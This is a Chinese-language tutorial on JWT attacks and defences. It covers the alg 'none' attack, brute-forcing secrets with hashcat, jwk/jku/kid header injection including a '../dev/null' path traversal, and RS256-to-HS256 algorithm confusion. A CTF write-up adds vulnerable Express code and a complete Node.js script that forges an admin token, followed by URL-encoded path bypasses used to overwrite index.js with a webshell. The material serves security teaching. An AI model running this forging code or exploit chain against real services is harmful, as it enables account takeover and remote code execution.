JWT安全攻防详解

1. JWT基本介绍

JWT(JSON Web Token)是一种开放标准(RFC 7519)，用于在各方之间安全地传输信息作为JSON对象。它由三部分组成：

• 标头(Header)：包含令牌类型和签名算法
• 有效载荷(Payload)：包含声明(claims)，即关于实体(通常是用户)和其他数据的声明
• 签名(Signature)：用于验证消息在传输过程中没有被更改

格式：Header.Payload.Signature，各部分用英文句号连接，并进行Base64编码。

2. JWT常见安全漏洞

2.1 未经验证的签名

漏洞原因：服务器未验证JWT签名，直接信任令牌内容。

利用方法：

1. 获取普通用户的有效JWT
2. 修改payload中的用户身份信息(如将"username":"wiener"改为"username":"administrator")
3. 使用修改后的令牌访问特权功能

防御措施：始终验证JWT签名。

2.2 签名验证缺陷(None算法攻击)

漏洞原因：当alg参数设置为"none"时，服务器可能不验证签名。

利用方法：

1. 修改JWT头部中的alg参数为"none"
2. 删除签名部分(保留最后的点)
3. 修改payload中的用户身份信息

防御措施：拒绝alg为"none"的JWT，或明确指定允许的算法列表。

2.3 密钥爆破

漏洞原因：使用弱密钥或常见密钥进行签名。

利用工具：

• Hashcat：hashcat -a 0 -m 16500 <jwt> <wordlist>
• 常用字典：jwt-secrets

防御措施：使用强随机密钥，定期更换密钥。

2.4 标头参数注入

2.4.1 JWK(JSON Web Key)注入

漏洞原因：服务器信任嵌入在jwk参数中的密钥。

利用方法：

1. 生成RSA密钥对
2. 在JWT中添加jwk参数，包含公钥
3. 使用私钥签名伪造的JWT

2.4.2 JKU(JWK Set URL)注入

漏洞原因：服务器从攻击者控制的URL获取验证密钥。

利用方法：

1. 生成RSA密钥对
2. 在攻击者服务器托管包含公钥的JWK Set
3. 在JWT中添加jku参数指向恶意JWK Set
4. 使用私钥签名伪造的JWT

2.4.3 KID(Key ID)注入

漏洞原因：kid参数未正确验证，可能导致路径遍历或SQL注入。

利用方法：

1. 修改kid参数为已知密钥路径(如"../../../../../../../dev/null")
2. 使用空密钥签名伪造的JWT

防御措施：严格验证标头参数，限制可接受的密钥来源。

2.5 算法混淆攻击

漏洞原因：服务器同时支持RS256(非对称)和HS256(对称)算法，且公钥可被获取。

利用方法：

1. 从服务器获取公钥(如/jwks.json)
2. 将JWK转换为PEM格式
3. 修改JWT头部alg为HS256
4. 使用公钥作为HMAC密钥签名伪造的JWT

防御措施：只使用一种算法类型，或严格分离不同算法的验证逻辑。

3. 实战案例：HackThisBox比赛题目分析

3.1 漏洞分析

题目涉及JWT算法混淆攻击，关键代码：

// api.js - 登录时使用RS256算法签名
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
  const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
});

// app.js - 验证时同时允许HS256和RS256
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}));

3.2 利用步骤

1. 伪造管理员令牌：

   • 使用HS256算法，将公钥作为HMAC密钥
   • 设置isAdmin为true
   • 设置home参数为任意文件写入路径

2. 绕过路径过滤：

   • 使用URL编码绕过正则过滤(如"routes"编码为"%72%6f%75%74%65%73")

3. 任意文件写入：

   • 通过文件上传功能覆盖关键文件(如index.js)
   • 写入Webshell实现RCE

3.3 完整利用代码

// 伪造JWT的Node.js代码
var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');

app.get('/', function(req, res, next) {
    const token = jwt.sign({
        username: "admin", 
        isAdmin: true, 
        home: {
            href: "c",
            origin: "c",
            protocol: "file:",
            hostname: "",
            pathname: "/app/%72%6f%75%74%65%73/index.%6a%73"  // app/routes/index.js
        }
    }, publicKey, {algorithm: "HS256"});
    res.send({token})
});

var server = app.listen(7000);

4. 防御建议

1. 使用强算法(推荐RS256)
2. 验证所有JWT签名
3. 限制允许的算法列表
4. 验证所有标头参数
5. 使用适当的密钥管理
6. 实施令牌过期机制
7. 对敏感操作使用二次验证

5. 工具推荐

1. Burp Suite插件：

   • JWT Editor - 方便修改和签名JWT

2. 离线工具：

   • jwt_tool - JWT测试工具包
   • Hashcat - 用于JWT密钥爆破

3. 在线工具：

   • jwt.io - JWT解码和验证

通过全面理解JWT的工作原理和安全风险，开发人员和安全测试人员可以更好地保护应用程序免受相关攻击。